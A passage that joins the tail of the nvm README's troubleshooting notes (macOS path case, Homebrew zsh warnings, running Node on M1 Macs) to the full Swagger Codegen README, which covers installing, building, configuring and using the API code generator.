between the `$HOME` path and the user's home directory's actual name**. You have to make sure that the user directory name in `$HOME` and the user directory name you'd see from running `ls /Users/` **are capitalized the same way** ([See this issue](https://github.com/nvm-sh/nvm/issues/2261)). To change the user directory and/or account name follow the instructions [here](https://support.apple.com/en-us/HT201548) [1]: https://github.com/nvm-sh/nvm.git [2]: https://github.com/nvm-sh/nvm/blob/v0.37.2/install.sh [3]: https://travis-ci.org/nvm-sh/nvm [4]: https://github.com/nvm-sh/nvm/releases/tag/v0.37.2 [Urchin]: https://github.com/scraperwiki/urchin [Fish]: http://fishshell.com **Homebrew makes zsh directories unsecure** ```shell zsh compinit: insecure directories, run compaudit for list. Ignore insecure directories and continue [y] or abort compinit [n]? y ``` Homebrew causes insecure directories like `/usr/local/share/zsh/site-functions` and `/usr/local/share/zsh`. This is **not** an `nvm` problem - it is a homebrew problem. Refer [here](https://github.com/zsh-users/zsh-completions/issues/680) for some solutions related to the issue. **Macs with M1 chip** _January 2021:_ there are no pre-compiled NodeJS binaries for versions prior to 15.x for Apple's new M1 chip (arm64 architecture). Some issues you may encounter: - using `nvm` to install, say, `v14.15.4`: - the C code compiles successfully - but crashes with an out of memory error when used - increasing the memory available to node still produces the out of memory errors: ```sh $ NODE_OPTIONS="--max-old-space-size=4096" ./node_modules/.bin/your_node_package ``` - when using `nvm` to install some versions, the compilation fails One solution to this issue is to change the architecture of your shell from arm64 to x86. Let's assume that: - you already have versions `12.20.1` and `14.15.4` installed using `nvm` - the current version in use is `14.15.4` - you are using the `zsh` shell ```sh # Check what version you're running: $ node --version v14.15.4 # Check architecture of the `node` binary: $ node -p process.arch arm64 # This confirms that the arch is for the M1 chip, which is causing the problems. # So we need to uninstall it. # We can't uninstall the version we are currently using, so switch to another version: $ nvm install v12.20.1 # Now uninstall the version we want to replace: $ nvm uninstall v14.15.4 # Set the architecture for our shell to 64-bit X86: $ arch -x86_64 zsh ``` At this point in time, we are still in the shell that is running using the M1 architecture. So we now need to open a new terminal window in order to run our shell in the 64-bit X86 architecture. ```sh # `node` will not be on the path in this new terminal window. # So install it: $ nvm install v14.15.4 # Now check that the architecture is correct: $ node -p process.arch x64 ```
# Swagger Code Generator [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=master&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project/badge.svg?style=plastic)](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project) [![PR Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/pr)](http://issuestats.com/github/swagger-api/swagger-codegen) [![Issue Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/issue)](http://issuestats.com/github/swagger-api/swagger-codegen) :star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22).:star::star::star: :notebook_with_decorative_cover: For more information, please refer to the [Wiki page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover: :warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning: ## Overview This is the swagger codegen project, which allows generation of API client libraries, server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Check out [Swagger-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the Swagger project, including additional libraries with support for other languages and more. # Table of contents - [Swagger Code Generator](#swagger-code-generator) - [Overview](#overview) - [Table of Contents](#table-of-contents) - Installation - [Compatibility](#compatibility) - [Prerequisites](#prerequisites) - [OS X Users](#os-x-users) - [Building](#building) - [Docker](#docker) - [Build and run](#build-and-run-using-docker) - [Run docker in Vagrant](#run-docker-in-vagrant) - [Public Docker image](#public-docker-image) - [Homebrew](#homebrew) - [Getting Started](#getting-started) - Generators - [To generate a sample client library](#to-generate-a-sample-client-library) - [Generating libraries from your server](#generating-libraries-from-your-server) - [Modifying the client library format](#modifying-the-client-library-format) - [Making your own codegen modules](#making-your-own-codegen-modules) - [Where is Javascript???](#where-is-javascript) - [Generating a client from local files](#generating-a-client-from-local-files) - [Customizing the generator](#customizing-the-generator) - [Validating your OpenAPI Spec](#validating-your-openapi-spec) - [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation) - [Generating static html api documentation](#generating-static-html-api-documentation) - [To build a server stub](#to-build-a-server-stub) - [To build the codegen library](#to-build-the-codegen-library) - [Workflow Integration](#workflow-integration) - [Github Integration](#github-integration) - [Online Generators](#online-generators) - [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/wiki/Guidelines-for-Contribution) - [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen) - [Swagger Codegen Core Team](#swagger-codegen-core-team) - [License](#license) ## Compatibility The OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The swagger-codegen project has the following compatibilies with the OpenAPI Specification: Swagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes -------------------------- | ------------ | -------------------------- | ----- 2.3.0 (upcoming minor release) | TBD | 1.0, 1.1, 1.2, 2.0 | Minor release with breaking changes 2.2.2 (upcoming patch release) | TBD | 1.0, 1.1, 1.2, 2.0 | Patch release (without breaking changes) 2.2.1 (**current stable**) | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1) 2.1.6 | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6) 2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/v2.0.17) 1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1) ### Prerequisites If you're looking for the latest stable version, you can grab it directly from maven central (you'll need java 7 runtime at a minimum): ``` wget http://repo1.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.1/swagger-codegen-cli-2.2.1.jar -O swagger-codegen-cli.jar java -jar swagger-codegen-cli.jar help ``` On a mac, it's even easier with `brew`: ``` brew install swagger-codegen ``` To build from source, you need the following installed and available in your $PATH: * [Java 7 or 8](http://java.oracle.com) * [Apache maven 3.3.3 or greater](http://maven.apache.org/) #### OS X Users Don't forget to install Java 7 or 8. You probably have 1.6. Export JAVA_HOME in order to use the supported Java version: ``` export JAVA_HOME=`/usr/libexec/java_home -v 1.8` export PATH=${JAVA_HOME}/bin:$PATH ``` ### Building After cloning the project, you can build it from source with this command: ``` mvn clean package ``` ### Docker #### Build and run using docker ``` git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen ./run-in-docker.sh mvn package ``` #### Run Docker in Vagrant Prerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads). ``` git clone http://github.com/swagger-api/swagger-codegen.git cd swagger-codegen vagrant up vagrant ssh cd /vagrant ./run-in-docker.sh mvn package ``` #### Public Docker image https://hub.docker.com/r/swaggerapi/swagger-generator/ ### Homebrew To install, run `brew install swagger-codegen` Here is an example usage: ``` swagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/ ``` ## Getting Started To generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen mvn clean package java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l php \ -o /var/tmp/php_api_client ``` (if you're on Windows, replace the last command with `java -jar modules\swagger-codegen-cli\target\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\temp\php_api_client`) You can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.1/swagger-codegen-cli-2.2.1.jar ) To get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate` To get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php` ## Generators ### To generate a sample client library You can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows: ``` ./bin/java-petstore.sh ``` (On Windows, run `.\bin\windows\java-petstore.bat` instead) This will run the generator with this command: ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java ``` with a number of options. You can get the options with the `help generate` command: ``` NAME swagger-codegen-cli generate - Generate code with chosen lang SYNOPSIS swagger-codegen-cli generate [(-a <authorization> | --auth <authorization>)] [--additional-properties <additional properties>] [--api-package <api package>] [--artifact-id <artifact id>] [--artifact-version <artifact version>] [(-c <configuration file> | --config <configuration file>)] [-D <system properties>] [--group-id <group id>] (-i <spec file> | --input-spec <spec file>) [--import-mappings <import mappings>] [--instantiation-types <instantiation types>] [--invoker-package <invoker package>] (-l <language> | --lang <language>) [--language-specific-primitives <language specific primitives>] [--library <library>] [--model-package <model package>] [(-o <output directory> | --output <output directory>)] [(-s | --skip-overwrite)] [(-t <template directory> | --template-dir <template directory>)] [--type-mappings <type mappings>] [(-v | --verbose)] OPTIONS -a <authorization>, --auth <authorization> adds authorization headers when fetching the swagger definitions remotely. Pass in a URL-encoded string of name:header with a comma separating multiple values --additional-properties <additional properties> sets additional properties that can be referenced by the mustache templates in the format of name=value,name=value --api-package <api package> package for generated api classes --artifact-id <artifact id> artifactId in generated pom.xml --artifact-version <artifact version> artifact version in generated pom.xml -c <configuration file>, --config <configuration file> Path to json configuration file. File content should be in a json format {"optionKey":"optionValue", "optionKey1":"optionValue1"...} Supported options can be different for each language. Run config-help -l {lang} command for language specific config options. -D <system properties> sets specified system properties in the format of name=value,name=value --group-id <group id> groupId in generated pom.xml -i <spec file>, --input-spec <spec file> location of the swagger spec, as URL or file (required) --import-mappings <import mappings> specifies mappings between a given class and the import that should be used for that class in the format of type=import,type=import --instantiation-types <instantiation types> sets instantiation type mappings in the format of type=instantiatedType,type=instantiatedType.For example (in Java): array=ArrayList,map=HashMap. In other words array types will get instantiated as ArrayList in generated code. --invoker-package <invoker package> root package for generated code -l <language>, --lang <language> client language to generate (maybe class name in classpath, required) --language-specific-primitives <language specific primitives> specifies additional language specific primitive types in the format of type1,type2,type3,type3. For example: String,boolean,Boolean,Double --library <library> library template (sub-template) --model-package <model package> package for generated models -o <output directory>, --output <output directory> where to write the generated files (current dir by default) -s, --skip-overwrite specifies if the existing files should be overwritten during the generation. -t <template directory>, --template-dir <template directory> folder containing the template files --type-mappings <type mappings> sets mappings between swagger spec types and generated code types in the format of swaggerType=generatedType,swaggerType=generatedType. For example: array=List,map=Map,string=String -v, --verbose verbose mode ``` You can then compile and run the client, as well as unit tests against it: ``` cd samples/client/petstore/java mvn package ``` Other languages have petstore samples, too: ``` ./bin/android-petstore.sh ./bin/java-petstore.sh ./bin/objc-petstore.sh ``` ### Generating libraries from your server It's just as easy--just use the `-i` flag to point to either a server or file. ### Modifying the client library format Don't like the default swagger client syntax? Want a different language supported? No problem! Swagger codegen processes mustache templates with the [jmustache](https://github.com/samskivert/jmustache) engine. You can modify our templates or make your own. You can look at `modules/swagger-codegen/src/main/resources/${your-language}` for examples. To make your own templates, create your own files and use the `-t` flag to specify your template folder. It actually is that easy. ### Making your own codegen modules If you're starting a project with a new language and don't see what you need, swagger-codegen can help you create a project to generate your own libraries: ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar meta \ -o output/myLibrary -n myClientCodegen -p com.my.company.codegen ``` This will write, in the folder `output/myLibrary`, all the files you need to get started, including a README.md. Once modified and compiled, you can load your library with the codegen and generate clients with your own, custom-rolled logic. You would then compile your library in the `output/myLibrary` folder with `mvn package` and execute the codegen like such: ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` Note the `myClientCodegen` is an option now, and you can use the usual arguments for generating your library: ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar \ io.swagger.codegen.SwaggerCodegen generate -l myClientCodegen\ -i http://petstore.swagger.io/v2/swagger.json \ -o myClient ``` ### Where is Javascript??? See our [javascript library](http://github.com/swagger-api/swagger-js)--it's completely dynamic and doesn't require static code generation. There is a third-party component called [swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen) that can generate angularjs or nodejs source code from a OpenAPI Specification. :exclamation: On Dec 7th 2015, a Javascript API client generator has been added by @jfiala. ### Generating a client from local files If you don't want to call your server, you can save the OpenAPI Spec files into a directory and pass an argument to the code generator like this: ``` -i ./modules/swagger-codegen/src/test/resources/2_0/petstore.json ``` Great for creating libraries on your ci server, from the [Swagger Editor](http://editor.swagger.io)... or while coding on an airplane. ### Selective generation You may not want to generate *all* models in your project. Likewise you may want just one or two apis to be written. If that's the case, you can use system properties to control the output: The default is generate *everything* supported by the specific library. Once you enable a feature, it will restrict the contents generated: ``` # generate only models java -Dmodels {opts} # generate only apis java -Dapis {opts} # generate only supporting files java -DsupportingFiles # generate models and supporting files java -Dmodels -DsupportingFiles ``` To control the specific files being generated, you can pass a CSV list of what you want: ``` # generate the User and Pet models only -Dmodels=User,Pet # generate the User model and the supportingFile `StringUtil.java`: -Dmodels=User -DsupportingFiles=StringUtil.java ``` To control generation of docs and tests for api and models, pass false to the option. For api, these options are `-DapiTests=false` and `-DapiDocs=false`. For models, `-DmodelTests=false` and `-DmodelDocs=false`. These options default to true and don't limit the generation of the feature options listed above (like `-Dapi`): ``` # generate only models (with tests and documentation) java -Dmodels {opts} # generate only models (with tests but no documentation) java -Dmodels -DmodelDocs=false {opts} # generate only User and Pet models (no tests and no documentation) java -Dmodels=User,Pet -DmodelTests=false {opts} # generate only apis (without tests) java -Dapis -DapiTests=false {opts} # generate only apis (modelTests option is ignored) java -Dapis -DmodelTests=false {opts} ``` When using selective generation, _only_ the templates needed for the specific generation will be used. ### Ignore file format Swagger codegen supports a `.swagger-codegen-ignore` file, similar to `.gitignore` or `.dockerignore` you're probably already familiar with. The ignore file allows for better control over overwriting existing files than the `--skip-overwrite` flag. With the ignore file, you can specify individual files or directories can be ignored. This can be useful, for example if you only want a subset of the generated code. Examples: ``` # Swagger Codegen Ignore # Lines beginning with a # are comments # This should match build.sh located anywhere. build.sh # Matches build.sh in the root /build.sh # Exclude all recursively docs/** # Explicitly allow files excluded by other rules !docs/UserApi.md # Recursively exclude directories named Api # You can't negate files below this directory. src/**/Api/ # When this file is nested under /Api (excluded above), # this rule is ignored because parent directory is excluded by previous rule. !src/**/PetApiTests.cs # Exclude a single, nested file explicitly src/IO.Swagger.Test/Model/AnimalFarmTests.cs ``` The `.swagger-codegen-ignore` file must exist in the root of the output directory. ### Customizing the generator There are different aspects of customizing the code generator beyond just creating or modifying templates. Each language has a supporting configuration file to handle different type mappings, etc: ``` $ ls -1 modules/swagger-codegen/src/main/java/io/swagger/codegen/languages/ AbstractJavaJAXRSServerCodegen.java AbstractTypeScriptClientCodegen.java AkkaScalaClientCodegen.java AndroidClientCodegen.java AspNet5ServerCodegen.java AspNetCoreServerCodegen.java AsyncScalaClientCodegen.java CSharpClientCodegen.java ClojureClientCodegen.java CsharpDotNet2ClientCodegen.java DartClientCodegen.java FlashClientCodegen.java FlaskConnexionCodegen.java GoClientCodegen.java HaskellServantCodegen.java JMeterCodegen.java JavaCXFServerCodegen.java JavaClientCodegen.java JavaInflectorServerCodegen.java JavaJerseyServerCodegen.java JavaResteasyServerCodegen.java JavascriptClientCodegen.java NodeJSServerCodegen.java NancyFXServerCodegen ObjcClientCodegen.java PerlClientCodegen.java PhpClientCodegen.java PythonClientCodegen.java Qt5CPPGenerator.java RubyClientCodegen.java ScalaClientCodegen.java ScalatraServerCodegen.java SilexServerCodegen.java SinatraServerCodegen.java SlimFrameworkServerCodegen.java SpringMVCServerCodegen.java StaticDocCodegen.java StaticHtmlGenerator.java SwaggerGenerator.java SwaggerYamlGenerator.java SwiftCodegen.java TizenClientCodegen.java TypeScriptAngularClientCodegen.java TypeScriptNodeClientCodegen.java ``` Each of these files creates reasonable defaults so you can get running quickly. But if you want to configure package names, prefixes, model folders, etc. you can use a json config file to pass the values. ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java \ -c path/to/config.json ``` and `config.json` contains the following as an example: ``` { "apiPackage" : "petstore" } ``` Supported config options can be different per language. Running `config-help -l {lang}` will show available options. **These options are applied via configuration file (e.g. config.json) or by passing them with `-D{optionName}={optionValue}**. (If `-D{optionName}` does not work, please open a [ticket](https://github.com/swagger-api/swagger-codegen/issues/new) and we'll look into it) ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l java ``` Output ``` CONFIG OPTIONS modelPackage package for generated models apiPackage package for generated api classes sortParamsByRequiredFlag Sort method arguments to place required parameters before optional parameters. Default: true invokerPackage root package for generated code groupId groupId in generated pom.xml artifactId artifactId in generated pom.xml artifactVersion artifact version in generated pom.xml sourceFolder source folder for generated code localVariablePrefix prefix for generated code members and local variables serializableModel boolean - toggle "implements Serializable" for generated models library library template (sub-template) to use: <default> - HTTP client: Jersey client 1.18. JSON processing: Jackson 2.4.2 jersey2 - HTTP client: Jersey client 2.6 feign - HTTP client: Netflix Feign 8.1.1. JSON processing: Jackson 2.6.3 okhttp-gson - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 retrofit - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 (Retrofit 1.9.0) retrofit2 - HTTP client: OkHttp 2.5.0. JSON processing: Gson 2.4 (Retrofit 2.0.0-beta2) ``` Your config file for Java can look like ```json { "groupId":"com.my.company", "artifactId":"MyClient", "artifactVersion":"1.2.0", "library":"feign" } ``` For all the unspecified options default values will be used. Another way to override default options is to extend the config class for the specific language. To change, for example, the prefix for the Objective-C generated files, simply subclass the ObjcClientCodegen.java: ```java package com.mycompany.swagger.codegen; import io.swagger.codegen.languages.*; public class MyObjcCodegen extends ObjcClientCodegen { static { PREFIX = "HELO"; } } ``` and specify the `classname` when running the generator: ``` -l com.mycompany.swagger.codegen.MyObjcCodegen ``` Your subclass will now be loaded and overrides the `PREFIX` value in the superclass. ### Bringing your own models Sometimes you don't want a model generated. In this case, you can simply specify an import mapping to tell the codegen what _not_ to create. When doing this, every location that references a specific model will refer back to your classes. Note, this may not apply to all languages... To specify an import mapping, use the `--import-mappings` argument and specify the model-to-import logic as such: ``` --import-mappings Pet=my.models.MyPet ``` Or for multiple mappings: ``` Pet=my.models.MyPet,Order=my.models.MyOrder ``` ### Validating your OpenAPI Spec You have options. The easiest is to use our [online validator](https://github.com/swagger-api/validator-badge) which not only will let you validate your spec, but with the debug flag, you can see what's wrong with your spec. For example: http://online.swagger.io/validator/debug?url=http://petstore.swagger.io/v2/swagger.json ### Generating dynamic html api documentation To do so, just use the `-l dynamic-html` flag when reading a spec file. This creates HTML documentation that is available as a single-page application with AJAX. To view the documentation: ``` cd samples/dynamic-html/ npm install node . ``` Which launches a node.js server so the AJAX calls have a place to go. ### Generating static html api documentation To do so, just use the `-l html` flag when reading a spec file. This creates a single, simple HTML file with embedded css so you can ship it as an email attachment, or load it from your filesystem: ``` cd samples/html/ open index.html ``` ### To build a server stub Please refer to https://github.com/swagger-api/swagger-codegen/wiki/Server-stub-generator-HOWTO for more information. ### To build the codegen library This will create the swagger-codegen library from source. ``` mvn package ``` Note! The templates are included in the library generated. If you want to modify the templates, you'll need to either repackage the library OR specify a path to your scripts ## Workflow integration You can use the [swagger-codegen-maven-plugin](modules/swagger-codegen-maven-plugin/README.md) for integrating with your workflow, and generating any codegen target. ## GitHub Integration To push the auto-generated SDK to GitHub, we provide `git_push.sh` to streamline the process. For example: 1) Create a new repository in GitHub (Ref: https://help.github.com/articles/creating-a-new-repository/) 2) Generate the SDK ``` java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i modules/swagger-codegen/src/test/resources/2_0/petstore.json -l perl \ --git-user-id "wing328" \ --git-repo-id "petstore-perl" \ --release-note "Github integration demo" \ -o /var/tmp/perl/petstore ``` 3) Push the SDK to GitHub ``` cd /var/tmp/perl/petstore /bin/sh ./git_push.sh ``` ## Online generators One can also generate API client or server using the online generators (https://generator.swagger.io) For example, to generate Ruby API client, simply send the following HTTP request using curl: ``` curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/ruby ``` Then you will receieve a JSON response with the URL to download the zipped code. To customize the SDK, you can `POST` to `https://generator.swagger.io/gen/clients/{language}` with the following HTTP body: ``` { "options": {}, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` in which the `options` for a language can be obtained by submitting a `GET` request to `https://generator.swagger.io/api/gen/clients/{language}`: For example, `curl https://generator.swagger.io/api/gen/clients/python` returns ``` { "packageName":{ "opt":"packageName", "description":"python package name (convention: snake_case).", "type":"string", "default":"swagger_client" }, "packageVersion":{ "opt":"packageVersion", "description":"python package version.", "type":"string", "default":"1.0.0" }, "sortParamsByRequiredFlag":{ "opt":"sortParamsByRequiredFlag", "description":"Sort method arguments to place required parameters before optional parameters.", "type":"boolean", "default":"true" } } ``` To set package name to `pet_store`, the HTTP body of the request is as follows: ``` { "options": { "packageName": "pet_store" }, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` and here is the curl command: ``` curl -H "Content-type: application/json" -X POST -d '{"options": {"packageName": "pet_store"},"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/python ``` Guidelines for Contribution --------------------------- Please refer to this [page](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) Companies/Projects using Swagger Codegen ---------------------------------------- Here are some companies/projects using Swagger Codegen in production. To add your company/project to the list, please visit [README.md](https://github.com/swagger-api/swagger-codegen/blob/master/README.md) and click on the icon to edit the page. - [Activehours](https://www.activehours.com/) - [Acunetix](https://www.acunetix.com/) - [Atlassian](https://www.atlassian.com/) - [Avenida Compras S.A.](https://www.avenida.com.ar) - [beemo](http://www.beemo.eu) - [bitly](https://bitly.com) - [Bufferfly Network](https://www.butterflynetinc.com/) - [Cachet Financial](http://www.cachetfinancial.com/) - [carpolo](http://www.carpolo.co/) - [CloudBoost](https://www.CloudBoost.io/) - [Conplement](http://www.conplement.de/) - [Cummins] (http://www.cummins.com/) - [Cupix](http://www.cupix.com) - [DBBest Technologies](https://www.dbbest.com) - [DecentFoX](http://decentfox.com/) - [DocuSign](https://www.docusign.com) - [Ergon](http://www.ergon.ch/) - [EMC](https://www.emc.com/) - [eureka](http://eure.jp/) - [everystory.us](http://everystory.us) - [Expected Behavior](http://www.expectedbehavior.com/) - [Finder](http://en.finder.pl/) - [FH Münster - University of Applied Sciences](http://www.fh-muenster.de) - [Gear Zero Network](https://www.gearzero.ca) - [Germin8](http://www.germin8.com) - [goTransverse](http://www.gotransverse.com/api) - [GraphHopper](https://graphhopper.com/) - [Gravitate Solutions](http://gravitatesolutions.com/) - [IMS Health](http://www.imshealth.com/en/solution-areas/technology-and-applications) - [Interactive Intelligence](http://developer.mypurecloud.com/) - [LANDR Audio](https://www.landr.com/) - [Lascaux](http://www.lascaux.it/) - [LiveAgent](https://www.ladesk.com/) - [Kabuku](http://www.kabuku.co.jp/en) - [Kuroi](http://kuroiwebdesign.com/) - [Kuary](https://kuary.com/) - [Mindera](http://mindera.com/) - [Mporium](http://mporium.com/) - [nViso](http://www.nviso.ch/) - [Okiok](https://www.okiok.com) - [Onedata](http://onedata.org) - [OrderCloud.io](http://ordercloud.io) - [OSDN](https://osdn.jp) - [PagerDuty](https://www.pagerduty.com) - [Pepipost](https://www.pepipost.com) - [Plexxi](http://www.plexxi.com) - [Pixoneye](http://www.pixoneye.com/) - [PostAffiliatePro](https://www.postaffiliatepro.com/) - [QAdept](http://qadept.com/) - [QuantiModo](https://quantimo.do/) - [Rapid7](https://rapid7.com/) - [Reload! A/S](https://reload.dk/) - [REstore](https://www.restore.eu) - [Revault Sàrl](http://revault.ch) - [Royal Bank of Canada (RBC)](http://www.rbc.com/canada.html) - [SCOOP Software GmbH](http://www.scoop-software.de) - [Skurt](http://www.skurt.com) - [SmartRecruiters](https://www.smartrecruiters.com/) - [StyleRecipe](http://stylerecipe.co.jp) - [Svenska Spel AB](https://www.svenskaspel.se/) - [ThoughtWorks](https://www.thoughtworks.com) - [uShip](https://www.uship.com/) - [W.UP](http://wup.hu/?siteLang=en) - [Wealthfront](https://www.wealthfront.com/) - [WEXO A/S](https://www.wexo.dk/) - [Zalando](https://tech.zalando.com) - [ZEEF.com](https://zeef.com/) # Swagger Codegen Core Team Swagger Codegen core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis. ## API Clients | Languages | Core Team (join date) | |:-------------|:-------------| | ActionScript | | | C++ | | | C# | @jimschubert (2016/05/01) | | | Clojure | @xhh (2016/05/01) | | Dart | | | Groovy | | | Go | @guohuang (2016/05/01) @neilotoole (2016/05/01) | | Java | @cbornet (2016/05/01) @xhh (2016/05/01) @epaul (2016/06/04) | | Java (Spring Cloud) | @cbornet (2016/07/19) | | NodeJS/Javascript | @xhh (2016/05/01) | | ObjC | @mateuszmackowiak (2016/05/09) | | Perl | @wing328 (2016/05/01) | | PHP | @arnested (2016/05/01) | | Python | @scottrw93 (2016/05/01) | | Ruby | @wing328 (2016/05/01) @zlx (2016/05/22) | | Scala | | | Swift | @jaz-ah (2016/05/01) @Edubits (2016/05/01) | | TypeScript (Node) | @Vrolijkx (2016/05/01) | | TypeScript (Angular1) | @Vrolijkx (2016/05/01) | | TypeScript (Angular2) | @Vrolijkx (2016/05/01) | | TypeScript (Fetch) | | ## Server Stubs | Languages | Core Team (date joined) | |:------------- |:-------------| | C# ASP.NET5 | @jimschubert (2016/05/01) | | Go Server | @guohuang (2016/06/13) | | Haskell Servant | | | Java Spring Boot | @cbornet (2016/07/19) | | Java Spring MVC | @kolyjjj (2016/05/01) @cbornet (2016/07/19) | | Java JAX-RS | | | NancyFX | | | NodeJS | @kolyjjj (2016/05/01) | | PHP Lumen | @abcsum (2016/05/01) | | PHP Silex | | | PHP Slim | | | Python Flask | | | Ruby Sinatra | @wing328 (2016/05/01) | | | Scala Scalatra | | | ## Template Creator Here is a list of template creators: * API Clients: * Akka-Scala: @cchafer * C++ REST: @Danielku15 * C# (.NET 2.0): @who * Clojure: @xhh * Dart: @yissachar * Groovy: @victorgit * Go: @wing328 * Java (Retrofit): @0legg * Java (Retrofi2): @emilianobonassi * Java (Jersey2): @xhh * Java (okhttp-gson): @xhh * Javascript/NodeJS: @jfiala * Javascript (Closure-annotated Angular) @achew22 * Perl: @wing328 * Swift: @tkqubo * Swift 3: @hexelon * TypeScript (Node): @mhardorf * TypeScript (Angular1): @mhardorf * TypeScript (Fetch): @leonyu * TypeScript (Angular2): @roni-frantchi * Server Stubs * C# ASP.NET5: @jimschubert * C# NancyFX: @mstefaniuk * Erlang Server: @galaxie * Go Server: @guohuang * Haskell Servant: @algas * Java MSF4J: @sanjeewa-malalgoda * Java Spring Boot: @diyfr * Java Undertow: @stevehu * JAX-RS RestEasy: @chameleon82 * JAX-RS CXF: @hiveship * JAX-RS CXF (CDI): @nickcmaynard * PHP Lumen: @abcsum * PHP Slim: @jfastnacht * Ruby on Rails 5: @zlx * Documentation * HTML Doc 2: @jhitchcock * Confluence Wiki: @jhitchcock ## How to join the core team Here are the requirements to become a core team member: - rank within top 50 in https://github.com/swagger-api/swagger-codegen/graphs/contributors - to contribute, here are some good [starting points](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22) - regular contributions to the project - about 3 hours per week - for contribution, it can be addressing issues, reviewing PRs submitted by others, submitting PR to fix bugs or make enhancements, etc To join the core team, please reach out to [email protected] (@wing328) for more information. To become a Template Creator, simply submit a PR for new API client (e.g. Rust, Elixir) or server stub (e.g. Ruby Grape) generator. ## License information on Generated Code The Swagger Codegen project is intended as a benefit for users of the Swagger / Open API Specification. The project itself has the [License](#license) as specified. In addition, please understand the following points: * The templates included with this project are subject to the [License](#license). * Generated code is intentionally _not_ subject to the parent project license When code is generated from this project, it shall be considered **AS IS** and owned by the user of the software. There are no warranties--expressed or implied--for generated code. You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate. License ------- Copyright 2016 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) 